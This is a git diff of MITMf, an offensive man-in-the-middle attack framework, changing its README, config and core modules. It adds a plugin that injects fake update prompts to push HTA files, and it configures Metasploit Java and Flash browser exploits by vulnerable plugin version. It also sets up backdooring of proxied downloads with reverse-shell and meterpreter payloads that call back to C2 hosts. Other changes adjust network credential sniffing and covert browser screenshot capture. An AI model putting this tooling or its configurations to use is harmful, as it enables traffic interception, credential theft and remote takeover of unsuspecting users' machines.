diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md
new file mode 100644
index 0000000..2fe828e
--- /dev/null
+++ b/CONTRIBUTING.md
@@ -0,0 +1,18 @@
+Contributing
+============
+Hi! Thanks for taking the time and contributing to MITMf! Pull requests are always welcome!
+
+Submitting Issues
+=================
+If you have *questions* regarding the framework please email me at byt3bl33d3r@gmail.com
+
+**Only submit issues if you find a bug in the latest version of the framework.**
+
+When inevitably you do come across said *bug*, please open an issue and include at least the following in the description:
+
+- Full command string you used
+- OS you're using
+- Full error traceback, if any
+- A packet capture if relevant
+
+Also, remember that Github markdown is your friend!
\ No newline at end of file
diff --git a/README.md b/README.md
index f1a7b8d..ea81b85 100644
--- a/README.md
+++ b/README.md
@@ -10,12 +10,11 @@ Twitter: @byt3bl33d3r
IRC on Freenode: #MITMf
Email: byt3bl33d3r@gmail.com
-**Update: Installation steps have changed! Please read the new [instructions](#installation)**
-
-**Before submitting issues, please read the [FAQ](#faq) and the appropriate [section](#submitting-issues).**
+**Before submitting issues, please read the [FAQ](#faq) and [CONTRIBIUTING.md](#submitting-issues).**
Available plugins
=================
+- ```HTA Drive-By``` - Injects a fake update notification and prompts clients to download an HTA application
- ```SMBtrap``` - Exploits the 'SMB Trap' vulnerability on connected clients
- ```Screenshotter``` - Uses HTML5 Canvas to render an accurate screenshot of a clients browser
- ```Responder``` - LLMNR, NBT-NS, WPAD and MDNS poisoner
@@ -84,33 +83,20 @@ Installation
If you're rocking Kali and want the latest version:
- Clone this repository
- Run the ```kali_setup.sh``` script
+**Note: you can ignore any errors when ```pip``` tries to install dependencies, MITMf should be able to run anyway**
If you're rocking any other Linux distro:
- Clone this repository
- Run the ```other_setup.sh``` script
-- Run the command ```pip install --upgrade -r requirements.txt``` to install all Python dependencies
-
-Submitting Issues
-=================
-If you have *questions* regarding the framework please email me at byt3bl33d3r@gmail.com
-
-**Only submit issues if you find a bug in the latest version of the framework.**
-
-When inevitably you do come across said *bug*, please open an issue and include at least the following in the description:
-
-- Full command string you used
-- OS you're using
-- Full error traceback, if any
-
-Also, remember that Github markdown is your friend!
+- Run the command ```pip install --upgrade mitmflib``` to install all Python dependencies
FAQ
===
- **Is Windows supported?**
-- No
+- No, it will never be supported
- **Is OSX supported?**
-- Currently no, although with some tweaking (which I'll probably get around to in the near future), it should be able to run perfectly on OSX.
+- Yes! Initial compatibility has been introduced in 0.9.8! Find anything broken submit a PR or open an issue ticket!
- **I can't install package X because of an error!**
- Try installing the package via ```pip``` or your distro's package manager. This *isn't* a problem with MITMf.
@@ -121,5 +107,5 @@ FAQ
- **I get an ImportError when launching MITMf!**
- Please read the [installation](#installation) guide.
-- **Dude, no documentation/video tutorials?**
-- Currently no but once the framework hits 1.0, I'll probably start writing/making some.
+- **Dude, no documentation?**
+- The docs are a work in progress at the moment, once the framework hits 1.0 I will push them to the wiki
\ No newline at end of file
diff --git a/config/mitmf.conf b/config/mitmf.conf
index 1747651..767fd9b 100644
--- a/config/mitmf.conf
+++ b/config/mitmf.conf
@@ -12,12 +12,22 @@
pass = beef
[[Metasploit]]
-
- msfport = 8080 # Port to start Metasploit's webserver on that will host exploits
rpcip = 127.0.0.1
rpcport = 55552
rpcpass = abc123
+ [[MITMf-API]]
+ host = 127.0.0.1
+ port = 9999
+
+ [[HTTP]]
+
+ #
+ # Here you can configure MITMf's internal HTTP server
+ # Note: changing the port number might break certain plugins
+
+ port = 80
+
[[SMB]]
#
@@ -57,25 +67,6 @@
# ini = /tmp/desktop.ini
# bat = /tmp/evil.bat
- [[HTTP]]
-
- #
- # Here you can configure MITMf's internal HTTP server
- #
-
- port = 80
-
- #[[[Paths]]]
-
- #
- # Here you can define the content to deliver
- #
-
- # Format is urlpath = filesystem path (urlpath can be a regular expression)
-
- # ".*" = "/var/www"
- # "/test" = "/var/www2"
-
[[DNS]]
#
@@ -93,7 +84,7 @@
nameservers = 8.8.8.8
[[[A]]] # Queries for IPv4 address records
- *.thesprawls.org=192.168.178.27
+ *.thesprawl.org=192.168.178.27
[[[AAAA]]] # Queries for IPv6 address records
*.thesprawl.org=2001:db8::1
@@ -135,9 +126,8 @@
[Spoof]
[[DHCP]]
- ip_pool = 192.168.2.10-50
+ ip_pool = 192.168.1.10-50
subnet = 255.255.255.0
- dns_server = 192.168.2.20 #optional
[Replace]
@@ -306,81 +296,100 @@
# When adding java exploits remember the following format: version string (eg 1.6.0) + update version (eg 28) = 1.6.0.28
#
- [[multi/browser/java_rhino]] #Exploit's MSF path
+ msfport = 8080 # Port to start Metasploit's webserver which will host the exploits
+
+ [[exploits]]
- Type = PluginVuln #Can be set to PluginVuln, BrowserVuln
- OS = Any #Can be set to Any, Windows or Windows + version (e.g Windows 8.1)
+ [[[multi/browser/java_rhino]]] #Exploit's MSF path
+
+ Type = PluginVuln #Can be set to PluginVuln, BrowserVuln
+ OS = Any #Can be set to Any, Windows or Windows + version (e.g Windows 8.1)
- Browser = Any #Can be set to Any, Chrome, Firefox, IE or browser + version (e.g IE 6)
- Plugin = Java #Can be set to Java, Flash (if Type is BrowserVuln will be ignored)
+ Browser = Any #Can be set to Any, Chrome, Firefox, MSIE or browser + version (e.g IE 6)
+ Plugin = Java #Can be set to Java, Flash (if Type is BrowserVuln will be ignored)
- #An exact list of the plugin versions affected (if Type is BrowserVuln will be ignored)
- PluginVersions = 1.6.0, 1.6.0.1, 1.6.0.10, 1.6.0.11, 1.6.0.12, 1.6.0.13, 1.6.0.14, 1.6.0.15, 1.6.0.16, 1.6.0.17, 1.6.0.18, 1.6.0.19, 1.6.0.2, 1.6.0.20, 1.6.0.21, 1.6.0.22, 1.6.0.23, 1.6.0.24, 1.6.0.25, 1.6.0.26, 1.6.0.27, 1.6.0.3, 1.6.0.4, 1.6.0.5, 1.6.0.6, 1.6.0.7, 1.7.0
+ #An exact list of the plugin versions affected (if Type is BrowserVuln will be ignored)
+ PluginVersions = 1.6.0, 1.6.0.1, 1.6.0.10, 1.6.0.11, 1.6.0.12, 1.6.0.13, 1.6.0.14, 1.6.0.15, 1.6.0.16, 1.6.0.17, 1.6.0.18, 1.6.0.19, 1.6.0.2, 1.6.0.20, 1.6.0.21, 1.6.0.22, 1.6.0.23, 1.6.0.24, 1.6.0.25, 1.6.0.26, 1.6.0.27, 1.6.0.3, 1.6.0.4, 1.6.0.5, 1.6.0.6, 1.6.0.7, 1.7.0
- [[multi/browser/java_atomicreferencearray]]
+ [[[multi/browser/java_atomicreferencearray]]]
- Type = PluginVuln
- OS = Any
- Browser = Any
- Plugin = Java
- PluginVersions = 1.5.0, 1.5.0.1, 1.5.0.10, 1.5.0.11, 1.5.0.12, 1.5.0.13, 1.5.0.14, 1.5.0.15, 1.5.0.16, 1.5.0.17, 1.5.0.18, 1.5.0.19, 1.5.0.2, 1.5.0.20, 1.5.0.21, 1.5.0.22, 1.5.0.23, 1.5.0.24, 1.5.0.25, 1.5.0.26, 1.5.0.27, 1.5.0.28, 1.5.0.29, 1.5.0.3, 1.5.0.31, 1.5.0.33, 1.5.0.4, 1.5.0.5, 1.5.0.6, 1.5.0.7, 1.5.0.8, 1.5.0.9, 1.6.0, 1.6.0.1, 1.6.0.10, 1.6.0.11, 1.6.0.12, 1.6.0.13, 1.6.0.14, 1.6.0.15, 1.6.0.16, 1.6.0.17, 1.6.0.18, 1.6.0.19, 1.6.0.2, 1.6.0.20, 1.6.0.21, 1.6.0.22, 1.6.0.24, 1.6.0.25, 1.6.0.26, 1.6.0.27, 1.6.0.29, 1.6.0.3, 1.6.0.30, 1.6.0.4, 1.6.0.5, 1.6.0.6, 1.6.0.7, 1.7.0, 1.7.0.1, 1.7.0.2
+ Type = PluginVuln
+ OS = Any
+ Browser = Any
+ Plugin = Java
+ PluginVersions = 1.5.0, 1.5.0.1, 1.5.0.10, 1.5.0.11, 1.5.0.12, 1.5.0.13, 1.5.0.14, 1.5.0.15, 1.5.0.16, 1.5.0.17, 1.5.0.18, 1.5.0.19, 1.5.0.2, 1.5.0.20, 1.5.0.21, 1.5.0.22, 1.5.0.23, 1.5.0.24, 1.5.0.25, 1.5.0.26, 1.5.0.27, 1.5.0.28, 1.5.0.29, 1.5.0.3, 1.5.0.31, 1.5.0.33, 1.5.0.4, 1.5.0.5, 1.5.0.6, 1.5.0.7, 1.5.0.8, 1.5.0.9, 1.6.0, 1.6.0.1, 1.6.0.10, 1.6.0.11, 1.6.0.12, 1.6.0.13, 1.6.0.14, 1.6.0.15, 1.6.0.16, 1.6.0.17, 1.6.0.18, 1.6.0.19, 1.6.0.2, 1.6.0.20, 1.6.0.21, 1.6.0.22, 1.6.0.24, 1.6.0.25, 1.6.0.26, 1.6.0.27, 1.6.0.29, 1.6.0.3, 1.6.0.30, 1.6.0.4, 1.6.0.5, 1.6.0.6, 1.6.0.7, 1.7.0, 1.7.0.1, 1.7.0.2
- [[multi/browser/java_jre17_jmxbean_2]]
+ [[[multi/browser/java_jre17_jmxbean_2]]]
+
+ Type = PluginVuln
+ OS = Any
+ Browser = Any
+ Plugin = Java
+ PluginVersions = 1.7.0, 1.7.0.1, 1.7.0.10, 1.7.0.11, 1.7.0.2, 1.7.0.3, 1.7.0.4, 1.7.0.5, 1.7.0.6, 1.7.0.7, 1.7.0.9
- Type = PluginVuln
- OS = Any
- Browser = Any
- Plugin = Java
- PluginVersions = 1.7.0, 1.7.0.1, 1.7.0.10, 1.7.0.11, 1.7.0.2, 1.7.0.3, 1.7.0.4, 1.7.0.5, 1.7.0.6, 1.7.0.7, 1.7.0.9
-
- [[multi/browser/java_jre17_reflection_types]]
+ [[[multi/browser/java_jre17_reflection_types]]]
- Type = PluginVuln
- OS = Any
- Browser = Any
- Plugin = Java
- PluginVersions = 1.7.0, 1.7.0.1, 1.7.0.10, 1.7.0.11, 1.7.0.13, 1.7.0.15, 1.7.0.17, 1.7.0.2, 1.7.0.3, 1.7.0.4, 1.7.0.5, 1.7.0.6, 1.7.0.7, 1.7.0.9
-
- [[multi/browser/java_verifier_field_access]]
+ Type = PluginVuln
+ OS = Any
+ Browser = Any
+ Plugin = Java
+ PluginVersions = 1.7.0, 1.7.0.1, 1.7.0.10, 1.7.0.11, 1.7.0.13, 1.7.0.15, 1.7.0.17, 1.7.0.2, 1.7.0.3, 1.7.0.4, 1.7.0.5, 1.7.0.6, 1.7.0.7, 1.7.0.9
+
+ [[[multi/browser/java_verifier_field_access]]]
- Type = PluginVuln
- OS = Any
- Browser = Any
- Plugin = Java
- PluginVersions = 1.4.2.37, 1.5.0.35, 1.6.0.32, 1.7.0.4
+ Type = PluginVuln
+ OS = Any
+ Browser = Any
+ Plugin = Java
+ PluginVersions = 1.4.2.37, 1.5.0.35, 1.6.0.32, 1.7.0.4
- [[multi/browser/java_jre17_provider_skeleton]]
+ [[[multi/browser/java_jre17_provider_skeleton]]]
- Type = PluginVuln
- OS = Any
- Browser = Any
- Plugin = Java
- PluginVersions = 1.7.0, 1.7.0.1, 1.7.0.10, 1.7.0.11, 1.7.0.13, 1.7.0.15, 1.7.0.17, 1.7.0.2, 1.7.0.21, 1.7.0.3, 1.7.0.4, 1.7.0.5, 1.7.0.6, 1.7.0.7, 1.7.0.9
+ Type = PluginVuln
+ OS = Any
+ Browser = Any
+ Plugin = Java
+ PluginVersions = 1.7.0, 1.7.0.1, 1.7.0.10, 1.7.0.11, 1.7.0.13, 1.7.0.15, 1.7.0.17, 1.7.0.2, 1.7.0.21, 1.7.0.3, 1.7.0.4, 1.7.0.5, 1.7.0.6, 1.7.0.7, 1.7.0.9
+ [[[exploit/windows/browser/adobe_flash_pcre]]]
- [[exploit/windows/browser/adobe_flash_pcre]]
+ Type = PluginVuln
+ OS = Windows
+ Browser = Any
+ Plugin = Flash
+ PluginVersions = 11.2.202.440, 13.0.0.264, 14.0.0.125, 14.0.0.145, 14.0.0.176, 14.0.0.179, 15.0.0.152, 15.0.0.167, 15.0.0.189, 15.0.0.223, 15.0.0.239, 15.0.0.246, 16.0.0.235, 16.0.0.257, 16.0.0.287, 16.0.0.296
- Type = PluginVuln
- OS = Windows
- Browser = Any
- Plugin = Flash
- PluginVersions = 11.2.202.440, 13.0.0.264, 14.0.0.125, 14.0.0.145, 14.0.0.176, 14.0.0.179, 15.0.0.152, 15.0.0.167, 15.0.0.189, 15.0.0.223, 15.0.0.239, 15.0.0.246, 16.0.0.235, 16.0.0.257, 16.0.0.287, 16.0.0.296
+ [[[exploit/windows/browser/adobe_flash_net_connection_confusion]]]
- [[exploit/windows/browser/adobe_flash_net_connection_confusion]]
+ Type = PluginVuln
+ OS = Windows
+ Browser = Any
+ Plugin = Flash
+ PluginVersions = 13.0.0.264, 14.0.0.125, 14.0.0.145, 14.0.0.176, 14.0.0.179, 15.0.0.152, 15.0.0.167, 15.0.0.189, 15.0.0.223, 15.0.0.239, 15.0.0.246, 16.0.0.235, 16.0.0.257, 16.0.0.287, 16.0.0.296, 16.0.0.305
- Type = PluginVuln
- OS = Windows
- Browser = Any
- Plugin = Flash
- PluginVersions = 13.0.0.264, 14.0.0.125, 14.0.0.145, 14.0.0.176, 14.0.0.179, 15.0.0.152, 15.0.0.167, 15.0.0.189, 15.0.0.223, 15.0.0.239, 15.0.0.246, 16.0.0.235, 16.0.0.257, 16.0.0.287, 16.0.0.296, 16.0.0.305
+ [[[exploit/windows/browser/adobe_flash_copy_pixels_to_byte_array]]]
- [[exploit/windows/browser/adobe_flash_copy_pixels_to_byte_array]]
+ Type = PluginVuln
+ OS = Windows
+ Browser = Any
+ Plugin = Flash
+ PluginVersions = 11.2.202.223, 11.2.202.228, 11.2.202.233, 11.2.202.235, 11.2.202.236, 11.2.202.238, 11.2.202.243, 11.2.202.251, 11.2.202.258, 11.2.202.261, 11.2.202.262, 11.2.202.270, 11.2.202.273,11.2.202.275, 11.2.202.280, 11.2.202.285, 11.2.202.291, 11.2.202.297, 11.2.202.310, 11.2.202.332, 11.2.202.335, 11.2.202.336, 11.2.202.341, 11.2.202.346, 11.2.202.350, 11.2.202.356, 11.2.202.359, 11.2.202.378, 11.2.202.394, 11.2.202.400, 13.0.0.111, 13.0.0.182, 13.0.0.201, 13.0.0.206, 13.0.0.214, 13.0.0.223, 13.0.0.231, 13.0.0.241, 13.0.0.83, 14.0.0.110, 14.0.0.125, 14.0.0.137, 14.0.0.145, 14.0.0.176, 14.0.0.178, 14.0.0.179, 15.0.0.144
- Type = PluginVuln
- OS = Windows
- Browser = Any
- Plugin = Flash
- PluginVersions = 11.2.202.223, 11.2.202.228, 11.2.202.233, 11.2.202.235, 11.2.202.236, 11.2.202.238, 11.2.202.243, 11.2.202.251, 11.2.202.258, 11.2.202.261, 11.2.202.262, 11.2.202.270, 11.2.202.273,11.2.202.275, 11.2.202.280, 11.2.202.285, 11.2.202.291, 11.2.202.297, 11.2.202.310, 11.2.202.332, 11.2.202.335, 11.2.202.336, 11.2.202.341, 11.2.202.346, 11.2.202.350, 11.2.202.356, 11.2.202.359, 11.2.202.378, 11.2.202.394, 11.2.202.400, 13.0.0.111, 13.0.0.182, 13.0.0.201, 13.0.0.206, 13.0.0.214, 13.0.0.223, 13.0.0.231, 13.0.0.241, 13.0.0.83, 14.0.0.110, 14.0.0.125, 14.0.0.137, 14.0.0.145, 14.0.0.176, 14.0.0.178, 14.0.0.179, 15.0.0.144
+ [[[exploit/multi/browser/adobe_flash_opaque_background_uaf]]]
+
+ Type = PluginVuln
+ OS = Any
+ Browser = Any
+ Plugin = Flash
+ PluginVersions = 11.1, 11.1.102.59, 11.1.102.62, 11.1.102.63, 11.1.111.44, 11.1.111.50, 11.1.111.54, 11.1.111.64, 11.1.111.73, 11.1.111.8, 11.1.115.34, 11.1.115.48, 11.1.115.54, 11.1.115.58, 11.1.115.59, 11.1.115.63, 11.1.115.69, 11.1.115.7, 11.1.115.81, 11.2.202.223, 11.2.202.228, 11.2.202.233, 11.2.202.235, 11.2.202.236, 11.2.202.238, 11.2.202.243, 11.2.202.251, 11.2.202.258, 11.2.202.261, 11.2.202.262, 11.2.202.270, 11.2.202.273, 11.2.202.275, 11.2.202.280, 11.2.202.285, 11.2.202.291, 11.2.202.297, 11.2.202.310, 11.2.202.327, 11.2.202.332, 11.2.202.335, 11.2.202.336, 11.2.202.341, 11.2.202.346, 11.2.202.350, 11.2.202.356, 11.2.202.359, 11.2.202.378, 11.2.202.394, 11.2.202.411, 11.2.202.424, 11.2.202.425, 11.2.202.429, 11.2.202.438, 11.2.202.440, 11.2.202.442, 11.2.202.451, 11.2.202.468, 13.0.0.182, 13.0.0.201, 13.0.0.206, 13.0.0.214, 13.0.0.223, 13.0.0.231, 13.0.0.241, 13.0.0.244, 13.0.0.250, 13.0.0.257, 13.0.0.258, 13.0.0.259, 13.0.0.260, 13.0.0.262, 13.0.0.264, 13.0.0.289, 13.0.0.292, 13.0.0.302, 14.0.0.125, 14.0.0.145, 14.0.0.176, 14.0.0.179, 15.0.0.152, 15.0.0.167, 15.0.0.189, 15.0.0.223, 15.0.0.239, 15.0.0.246, 16.0.0.235, 16.0.0.257, 16.0.0.287, 16.0.0.296, 17.0.0.134, 17.0.0.169, 17.0.0.188, 17.0.0.190, 18.0.0.160, 18.0.0.194, 18.0.0.203, 18.0.0.204
+
+ [[[exploit/multi/browser/adobe_flash_hacking_team_uaf]]]
+
+ Type = PluginVuln
+ OS = Any
+ Browser = Any
+ Plugin = Flash
+ PluginVersions = 13.0.0.292, 14.0.0.125, 14.0.0.145, 14.0.0.176, 14.0.0.179, 15.0.0.152, 15.0.0.167, 15.0.0.189, 15.0.0.223, 15.0.0.239, 15.0.0.246, 16.0.0.235, 16.0.0.257, 16.0.0.287, 16.0.0.296, 17.0.0.134, 17.0.0.169, 17.0.0.188, 18.0.0.161, 18.0.0.194
[FilePwn]
@@ -419,6 +428,28 @@
#
# Tested on Kali-Linux.
+ [[hosts]]
+ #whitelist host/IP - patch these only.
+ #ALL is everything, use the blacklist to leave certain hosts/IPs out
+
+ whitelist = ALL
+
+ #Hosts that are never patched, but still pass through the proxy. You can include host and ip, recommended to do both.
+
+ blacklist = , # a comma is null do not leave blank
+
+
+ [[keywords]]
+ #These checks look at the path of a url for keywords
+
+ whitelist = ALL
+
+ #For blacklist note binaries that you do not want to touch at all
+
+ # Also applied in zip files
+
+ blacklist = Tcpview.exe, skype.exe, .dll
+
[[ZIP]]
# patchCount is the max number of files to patch in a zip file
# After the max is reached it will bypass the rest of the files
@@ -457,63 +488,77 @@
CompressedFiles = True #True/False
- [[[[LinuxIntelx86]]]]
- SHELL = reverse_shell_tcp # This is the BDF syntax
- HOST = 192.168.1.168 # The C2
- PORT = 8888
- SUPPLIED_SHELLCODE = None
- MSFPAYLOAD = linux/x86/shell_reverse_tcp # MSF syntax
-
- [[[[LinuxIntelx64]]]]
- SHELL = reverse_shell_tcp
- HOST = 192.168.1.16
- PORT = 9999
- SUPPLIED_SHELLCODE = None
- MSFPAYLOAD = linux/x64/shell_reverse_tcp
+ [[[[LinuxIntelx86]]]]
+ SHELL = reverse_shell_tcp # This is the BDF syntax
+ HOST = 192.168.1.168 # The C2
+ PORT = 8888
+ SUPPLIED_SHELLCODE = None
+ MSFPAYLOAD = linux/x86/shell_reverse_tcp # MSF syntax
+
+ [[[[LinuxIntelx64]]]]
+ SHELL = reverse_shell_tcp
+ HOST = 192.168.1.16
+ PORT = 9999
+ SUPPLIED_SHELLCODE = None
+ MSFPAYLOAD = linux/x64/shell_reverse_tcp
- [[[[WindowsIntelx86]]]]
- PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND
- # PATCH_METHOD overwrites PATCH_TYPE with jump
- # PATCH_METHOD = automatic
- PATCH_METHOD =
- HOST = 192.168.10.11
- PORT = 8443
- SHELL = iat_reverse_tcp_stager_threaded
- SUPPLIED_SHELLCODE = None
- ZERO_CERT = True
- PATCH_DLL = False
- MSFPAYLOAD = windows/meterpreter/reverse_tcp
+ [[[[WindowsIntelx86]]]]
+ PATCH_TYPE = SINGLE #JUMP/SINGLE/APPEND
+ # PATCH_METHOD overwrites PATCH_TYPE with jump
+ PATCH_METHOD = automatic
+ HOST = 192.168.1.88
+ PORT = 8444
+ SHELL = iat_reverse_tcp_stager_threaded
+ SUPPLIED_SHELLCODE = None
+ ZERO_CERT = False
+ PATCH_DLL = True
+ MSFPAYLOAD = windows/meterpreter/reverse_tcp
- [[[[WindowsIntelx64]]]]
- PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND
- # PATCH_METHOD overwrites PATCH_TYPE with jump
- # PATCH_METHOD = automatic
- PATCH_METHOD =
- HOST = 192.168.1.16
- PORT = 8088
- SHELL = iat_reverse_tcp_stager_threaded
- SUPPLIED_SHELLCODE = None
- ZERO_CERT = True
- PATCH_DLL = False
- MSFPAYLOAD = windows/x64/shell/reverse_tcp
+ [[[[WindowsIntelx64]]]]
+ PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND
+ # PATCH_METHOD overwrites PATCH_TYPE with jump
+ PATCH_METHOD = automatic
+ HOST = 192.168.1.16
+ PORT = 8088
+ SHELL = iat_reverse_tcp_stager_threaded
+ SUPPLIED_SHELLCODE = None
+ ZERO_CERT = True
+ PATCH_DLL = False
+ MSFPAYLOAD = windows/x64/shell/reverse_tcp
- [[[[MachoIntelx86]]]]
- SHELL = reverse_shell_tcp
- HOST = 192.168.1.16
- PORT = 4444
- SUPPLIED_SHELLCODE = None
- MSFPAYLOAD = linux/x64/shell_reverse_tcp
+ [[[[MachoIntelx86]]]]
+ SHELL = reverse_shell_tcp
+ HOST = 192.168.1.16
+ PORT = 4444
+ SUPPLIED_SHELLCODE = None
+ MSFPAYLOAD = linux/x64/shell_reverse_tcp
- [[[[MachoIntelx64]]]]
- SHELL = reverse_shell_tcp
- HOST = 192.168.1.16
- PORT = 5555
- SUPPLIED_SHELLCODE = None
- MSFPAYLOAD = linux/x64/shell_reverse_tcp
+ [[[[MachoIntelx64]]]]
+ SHELL = reverse_shell_tcp
+ HOST = 192.168.1.16
+ PORT = 5555
+ SUPPLIED_SHELLCODE = None
+ MSFPAYLOAD = linux/x64/shell_reverse_tcp
-[EvilGrade]
+ # Call out the difference for targets here as they differ from ALL
+ # These settings override the ALL settings
+
+ [[[sysinternals.com]]]
+ LinuxType = None
+ WindowsType = x86
+ CompressedFiles = False
+
+ #inherits WindowsIntelx32 from ALL
+ [[[[WindowsIntelx86]]]]
+ PATCH_DLL = False
+ ZERO_CERT = True
- [[NotePad++]]
- host = 'notepad-plus-plus.org'
- url = '/update/getDownloadUrl.php?version='
- data = r'yes%RAND%http://notepad-plus-plus.org/repository/%RAND%/%RAND%/npp.%RAND%.Installer.exe'
\ No newline at end of file
+ [[[sourceforge.org]]]
+ WindowsType = x64
+ CompressedFiles = False
+
+ [[[[WindowsIntelx64]]]]
+ PATCH_DLL = False
+
+ [[[[WindowsIntelx86]]]]
+ PATCH_DLL = False
diff --git a/core/ferretng/ClientRequest.py b/core/ferretng/ClientRequest.py
index 1ca45d8..eb4abf1 100644
--- a/core/ferretng/ClientRequest.py
+++ b/core/ferretng/ClientRequest.py
@@ -111,13 +111,10 @@ class ClientRequest(Request):
log.debug("[ClientRequest] Sending expired cookies")
self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, host, headers, path))
- elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)):
- if 'securelink' in headers:
- del headers['securelink']
-
+ elif self.urlMonitor.isSecureLink(client, url):
log.debug("[ClientRequest] Sending request via SSL ({})".format((client,url)))
self.proxyViaSSL(address, self.method, path, postData, headers, self.urlMonitor.getSecurePort(client, url))
-
+
else:
log.debug("[ClientRequest] Sending request via HTTP")
#self.proxyViaHTTP(address, self.method, path, postData, headers)
diff --git a/core/javascript/plugindetect.js b/core/javascript/plugindetect.js
index bf85b89..1eddb16 100644
--- a/core/javascript/plugindetect.js
+++ b/core/javascript/plugindetect.js
@@ -1260,6 +1260,12 @@ var PD = PluginDetect;
//Set delimiter
PD.getVersion(".");
+//Get client Info
+data = os_detect.getVersion()
+
+//Check to see if the UA is a lying bastard
+data['ua_is_lying'] = os_detect.ua_is_lying
+
//Try to get plugin list
var pluginList = [];
if (navigator.plugins) {
@@ -1270,30 +1276,24 @@ if (navigator.plugins) {
}
if (pluginList.length > 0){
- data['pluginlist'] = pluginList;
+ data['plugin_list'] = pluginList;
}
//Check if java plugin is installed and/or enabled
-var javaEnabled = PD.isMinVersion('java');
-data['java'] = javaEnabled;
+//var javaEnabled = PD.isMinVersion('java');
+//data['java'] = javaEnabled;
//Get exact java plugin version
var javaVersionString = PD.getVersion('java');
-data['java_v'] = javaVersionString;
+data['java'] = javaVersionString;
//Check if flash plugin is installed and/or enabled
-var flashEnabled = PD.isMinVersion('flash');
-data['flash'] = flashEnabled;
+//var flashEnabled = PD.isMinVersion('flash');
+//data['flash'] = flashEnabled;
//Get exact flash plugin version
var flashVersionString = PD.getVersion('flash');
-data['flash_v'] = flashVersionString;
-
-//Get client Info
-data['client_info'] = os_detect.getVersion()
-
-//Check to see if the UA is a lying bastard
-data['client_info']['ua_is_lying'] = os_detect.ua_is_lying
+data['flash'] = flashVersionString;
xhr.open("POST", "clientprfl", true);
xhr.setRequestHeader("Content-Type", "application/json; charset=UTF-8");
diff --git a/core/javascript/screenshot.js b/core/javascript/screenshot.js
index fe50ad7..e8b1a8e 100644
--- a/core/javascript/screenshot.js
+++ b/core/javascript/screenshot.js
@@ -1024,7 +1024,7 @@ function h2cRenderContext(width, height) {
};
}
_html2canvas.Parse = function (images, options) {
- window.scroll(0,0);
+ //window.scroll(0,0);
var element = (( options.elements === undefined ) ? document.body : options.elements[0]), // select body by default
numDraws = 0,
@@ -2871,8 +2871,10 @@ function grab() {
xmlhttp.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
var x=encodeURIComponent(dat);
xmlhttp.send(x);
- }
- });
+ },
+ width: screen.width,
+ height: screen.height
+ });
}
setInterval(function(){grab()}, SECONDS_GO_HERE);
\ No newline at end of file
diff --git a/core/mitmfapi.py b/core/mitmfapi.py
index 6413163..e43ff49 100644
--- a/core/mitmfapi.py
+++ b/core/mitmfapi.py
@@ -32,41 +32,37 @@ from core.sergioproxy.ProxyPlugins import ProxyPlugins
app = Flask(__name__)
-class mitmfapi:
+class mitmfapi(ConfigWatcher):
- _instance = None
- host = ConfigWatcher.getInstance().config['MITMf']['MITMf-API']['host']
- port = int(ConfigWatcher.getInstance().config['MITMf']['MITMf-API']['port'])
+ __shared_state = {}
- @staticmethod
- def getInstance():
- if mitmfapi._instance is None:
- mitmfapi._instance = mitmfapi()
-
- return mitmfapi._instance
+ def __init__(self):
+ self.__dict__ = self.__shared_state
+ self.host = self.config['MITMf']['MITMf-API']['host']
+ self.port = int(self.config['MITMf']['MITMf-API']['port'])
@app.route("/")
def getPlugins():
- # example: http://127.0.0.1:9090/
+ # example: http://127.0.0.1:9999/
pdict = {}
- #print ProxyPlugins.getInstance().plist
- for activated_plugin in ProxyPlugins.getInstance().plist:
+ #print ProxyPlugins().plugin_list
+ for activated_plugin in ProxyPlugins().plugin_list:
pdict[activated_plugin.name] = True
- #print ProxyPlugins.getInstance().plist_all
- for plugin in ProxyPlugins.getInstance().plist_all:
+ #print ProxyPlugins().all_plugins
+ for plugin in ProxyPlugins().all_plugins:
if plugin.name not in pdict:
pdict[plugin.name] = False
- #print ProxyPlugins.getInstance().pmthds
+ #print ProxyPlugins().pmthds
return json.dumps(pdict)
@app.route("/")
def getPluginStatus(plugin):
# example: http://127.0.0.1:9090/cachekill
- for p in ProxyPlugins.getInstance().plist:
+ for p in ProxyPlugins().plugin_list:
if plugin == p.name:
return json.dumps("1")
@@ -77,15 +73,15 @@ class mitmfapi:
# example: http://127.0.0.1:9090/cachekill/1 # enabled
# example: http://127.0.0.1:9090/cachekill/0 # disabled
if status == "1":
- for p in ProxyPlugins.getInstance().plist_all:
- if (p.name == plugin) and (p not in ProxyPlugins.getInstance().plist):
- ProxyPlugins.getInstance().addPlugin(p)
+ for p in ProxyPlugins().all_plugins:
+ if (p.name == plugin) and (p not in ProxyPlugins().plugin_list):
+ ProxyPlugins().addPlugin(p)
return json.dumps({"plugin": plugin, "response": "success"})
elif status == "0":
- for p in ProxyPlugins.getInstance().plist:
+ for p in ProxyPlugins().plugin_list:
if p.name == plugin:
- ProxyPlugins.getInstance().removePlugin(p)
+ ProxyPlugins().removePlugin(p)
return json.dumps({"plugin": plugin, "response": "success"})
return json.dumps({"plugin": plugin, "response": "failed"})
diff --git a/core/netcreds/NetCreds.py b/core/netcreds/NetCreds.py
index 58e34e5..1d5c7b3 100644
--- a/core/netcreds/NetCreds.py
+++ b/core/netcreds/NetCreds.py
@@ -5,6 +5,7 @@ import base64
import threading
import binascii
+from core.logger import logger
from os import geteuid, devnull
from sys import exit
from urllib import unquote
@@ -16,7 +17,8 @@ from urllib import unquote
from scapy.all import *
conf.verb=0
-log = logging.getLogger('mitmf')
+formatter = logging.Formatter("%(asctime)s %(clientip)s [NetCreds] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
+log = logger().setup_logger("NetCreds", formatter)
DN = open(devnull, 'w')
pkt_frag_loads = OrderedDict()
@@ -43,11 +45,11 @@ class NetCreds:
version = "1.0"
- def sniffer(self, interface):
- sniff(iface=interface, prn=pkt_parser, store=0)
+ def sniffer(self, interface, ip):
+ sniff(iface=interface, prn=pkt_parser, filter="not host {}".format(ip), store=0)
- def start(self, interface):
- t = threading.Thread(name='NetCreds', target=self.sniffer, args=(interface,))
+ def start(self, interface, ip):
+ t = threading.Thread(name='NetCreds', target=self.sniffer, args=(interface, ip,))
t.setDaemon(True)
t.start()
@@ -897,7 +899,7 @@ def printer(src_ip_port, dst_ip_port, msg):
